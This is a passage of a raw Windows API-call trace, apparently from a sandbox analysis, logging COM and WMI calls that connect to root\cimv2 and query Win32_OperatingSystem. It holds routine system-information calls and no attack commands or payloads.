pAptType=0x1d2de1c8*=1) returned 0x0 [0296.239] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0296.239] IUnknown:Release (This=0x4b0108) returned 0x1 [0296.240] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496fa0) returned 0x0 [0296.240] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496fa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0296.240] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496fa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d497080) returned 0x0 [0296.240] WbemLocator:IUnknown:Release (This=0x1d496fa0) returned 0x0 [0296.240] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d497080) returned 0x0 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0296.241] WbemLocator:IUnknown:AddRef (This=0x1d497080) returned 0x3 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0296.241] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0296.241] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0296.241] WbemLocator:IUnknown:Release (This=0x1d497080) returned 0x2 [0296.241] WbemLocator:IUnknown:Release (This=0x1d497080) returned 0x1 [0296.241] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0296.241] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0296.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497080, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d497080) returned 0x0 [0296.241] WbemLocator:IUnknown:AddRef (This=0x1d497080) returned 0x3 [0296.241] WbemLocator:IUnknown:Release (This=0x1d497080) returned 0x2 [0296.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0296.241] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0296.241] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.242] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496d40) returned 0x0 [0296.242] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496d40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d4751d0) returned 0x0 [0297.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351000) returned 0x0 [0297.027] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351000, pProxy=0x1d4751d0, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0297.027] WbemLocator:IUnknown:Release (This=0x1b351000) returned 0x1 [0297.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351048) returned 0x0 [0297.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351000) returned 0x0 [0297.027] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351000, pProxy=0x1d4751d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0297.028] WbemLocator:IUnknown:Release (This=0x1b351000) returned 0x2 [0297.028] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0297.028] CoTaskMemFree (pv=0x1d471830) [0297.028] WbemLocator:IUnknown:Release (This=0x1d496d40) returned 0x0 [0297.028] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351048) returned 0x0 [0297.028] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0297.100] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0297.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0297.264] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0297.264] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0297.264] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0297.264] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b350f28) returned 0x0 [0297.264] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0297.264] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0297.264] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0297.264] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0297.264] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351010) returned 0x0 [0297.264] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0297.264] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0297.265] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0297.265] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0297.265] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0297.265] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d4751d0) returned 0x0 [0297.265] WbemLocator:IUnknown:AddRef (This=0x1d4751d0) returned 0x4 [0297.265] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x3 [0297.265] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x2 [0297.265] SysStringLen (param_1=0x0) returned 0x0 [0297.265] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0297.265] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0297.265] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351048) returned 0x0 [0297.265] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x3 [0297.265] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0297.265] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0297.265] WbemLocator:IUnknown:AddRef (This=0x1d4751d0) returned 0x3 [0297.265] IWbemServices:ExecQuery (in: This=0x1d4751d0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35b910) returned 0x0 [0297.380] IUnknown:QueryInterface (in: This=0x1d35b910, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35b918) returned 0x0 [0297.380] IClientSecurity:QueryBlanket (in: This=0x1d35b918, pProxy=0x1d35b910, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0297.381] IUnknown:Release (This=0x1d35b918) returned 0x1 [0297.381] IUnknown:QueryInterface (in: This=0x1d35b910, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b352088) returned 0x0 [0297.381] IUnknown:QueryInterface (in: This=0x1d35b910, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35b918) returned 0x0 [0297.381] IClientSecurity:SetBlanket (This=0x1d35b918, pProxy=0x1d35b910, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0297.590] IUnknown:Release (This=0x1d35b918) returned 0x2 [0297.590] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0297.590] CoTaskMemFree (pv=0x1d472280) [0297.590] IUnknown:QueryInterface (in: This=0x1d35b910, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b352088) returned 0x0 [0297.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0297.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0297.591] IUnknown:QueryInterface (in: This=0x1d35b910, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0297.592] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0297.592] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0297.592] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0297.592] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351f68) returned 0x0 [0297.592] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0297.592] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0297.592] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0297.592] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0297.593] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b352050) returned 0x0 [0297.593] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0297.593] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0297.593] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0297.593] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0297.593] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0297.593] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35b910) returned 0x0 [0297.593] IUnknown:AddRef (This=0x1d35b910) returned 0x4 [0297.593] IUnknown:Release (This=0x1d35b910) returned 0x3 [0297.593] IUnknown:Release (This=0x1d35b910) returned 0x2 [0297.593] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x2 [0297.593] SysStringLen (param_1=0x0) returned 0x0 [0297.593] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0297.593] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0297.593] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0297.593] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0297.594] IUnknown:AddRef (This=0x1d35b910) returned 0x3 [0297.594] IEnumWbemClassObject:Clone (in: This=0x1d35b910, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c8d0) returned 0x0 [0297.595] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c8d8) returned 0x0 [0297.595] IClientSecurity:QueryBlanket (in: This=0x1d35c8d8, pProxy=0x1d35c8d0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0297.595] IUnknown:Release (This=0x1d35c8d8) returned 0x1 [0297.595] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b352228) returned 0x0 [0297.595] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c8d8) returned 0x0 [0297.595] IClientSecurity:SetBlanket (This=0x1d35c8d8, pProxy=0x1d35c8d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0297.597] IUnknown:Release (This=0x1d35c8d8) returned 0x2 [0297.597] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0297.597] CoTaskMemFree (pv=0x1d471bf0) [0297.597] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b352228) returned 0x0 [0297.597] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0297.598] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0297.598] IUnknown:QueryInterface (in: This=0x1d35c8d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: 